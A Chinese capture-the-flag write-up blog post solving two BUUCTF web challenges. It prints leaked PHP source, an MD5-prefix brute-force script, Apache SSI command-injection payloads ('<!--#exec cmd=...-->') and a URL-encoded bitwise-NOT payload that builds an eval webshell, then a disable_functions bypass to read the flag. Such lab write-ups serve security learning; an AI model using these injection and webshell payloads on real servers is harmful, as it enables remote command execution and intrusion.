持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第14天,点击查看活动详情
[BJDCTF2020]EasySearch
diserch扫一下目录,发现源码网址
index.php.swp
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
可以看到源码说,密码的前六位的加密值要与admin的值相等即为6d0bc1
接着再public目录下生成一个.shtml后缀的文件,并且把post传的username的值传进去
用一下大佬写的脚本
import hashlib
import threading
string = '0123456789'
class BF(threading.Thread):
def __init__(self,left,right):
threading.Thread.__init__(self) #父类的构造方法
self.left = left
self.right = right
def run(self):
admin = '6d0bc1'
for i in range(self.left,self.right):
s = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if s[:6] == admin:
print i
threads = []
thread_count = 5
for i in range(thread_count):
threads.append(BF(i*2000000, (i+1)*2000000))
for t in threads:
t.start()
for t in threads:
t.join()
C:\Users\XINO\AppData\Local\Programs\Python\Python39\python.exe "C:/Users/XINO/Desktop/新建文件夹 (7)/11111.py"
2020666
2305004
9162671
应该都是可以的,于是我们进行一下登录
进去后啥都没有,F12随便找找
Url_is_here public/342c8b6ba61e61c5532a9ac9bb513aab94c5bf2e.shtml
于是我们访问一下,进去之后就是一个页面F12里也没啥,到这就不会了,看大佬WP
考点APache ssi远程命令执行漏洞
贴一个普及的博客
于是我们现在尝试怎么利用漏洞,由于该漏洞利用的也是命令执行,所以我们要找到一个输入点
之前看源码发现有username可以输入
<!--#exec cmd="whoami"-->
注意是先在index传,在访问指定的url
看目录
<!--#exec cmd="ls"-->
Hello,0161fc8dcbf1189a5f1881dd79c47f89a58f222c.shtml
2b88015534a75975d2f8f95ba084719b8274e017.shtml
3302438afa907b9aa614d73ad2694b92866b7c06.shtml
335b60ba403aeb21ad0d979bae80c57fd22f54e4.shtml
342c8b6ba61e61c5532a9ac9bb513aab94c5bf2e.shtml
43dcc2f755a6e2331b7a844945c4278b3596d145.shtml
462ad7b3f27588373c66be19b7743e24329fb62e.shtml
4832698852f8f52d76e7e6f1eb69ea7ca22aea74.shtml
4e7f05ec199f63667038ffdeddea53c2d2f639a9.shtml
4f670e0c9752c763b9390c5510cf5fd4130f492b.shtml
5984650723829d97142cb3824af29617b119333c.shtml
5be67cb14a7873f7db9bbbb85fa6bb63ec586ac1.shtml
5c18f23485bc4b4089a6b955ce97fbe63957e0d9.shtml
79e08579dc072805ad10e591e90033af8aa16ff0.shtml
7d18f0c4430d10af80a08d606750dfa831ea9443.shtml
84a8d94e808267e28ce8c8caf975c86f53d4cfaf.shtml
86919bd890c1e69dee60ebc985df7b2a353fc3e5.shtml
af5e03222c8251c2ebbbd9a24f18e88fbe38e69b.shtml
c28ede2a2ff0e21643a1c6604cc2d1a216a48211.shtml
css
e094e1247c44f2212aa221bacbcedf8f393750ad.shtml
e320da6214cd5c8854a6656bcf0ca6223b223b57.shtml
全是些没用的东西,看看上级目录
<!--#exec cmd="ls ../"-->
发现flag文件后再
<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->
[极客大挑战 2019]RCE ME
这个题目先放源码
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
限制了长度,限制了字符数字标点符号
这里考虑url编码取反绕过
php -r "var_dump(urlencode(~'phpinfo'));"
#"%8F%97%8F%96%91%99%90"
payload: ?code=(~%8F%97%8F%96%91%99%90)();
然后成功查看php相关信息,到这就不会了
看wp
构造shell连蚁剑
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[mochu7]))';
$d=urlencode(~$c);
echo $d;
?>
本地测试发现可以
payload
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);
之后测试发现是可以的
http://c97ce45c-ec73-4fe4-9185-694f4818de0e.node4.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);
所以我们直接尝试菜刀连接
链接地址
http://c97ce45c-ec73-4fe4-9185-694f4818de0e.node4.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);
我们连接后发现根目录会有flag,但是打不开很奇怪,然后还有个readflag
我猜测是执行readflag来获取flag
但之前字符都被过滤了,这要怎么搞搜索得知要绕过dis这个限制函数,可以利用上传权限来传exp,但我看蚁剑有带的,所以我们用现成的
选择PHP_GC_UAF模式
直接/readflag
出flag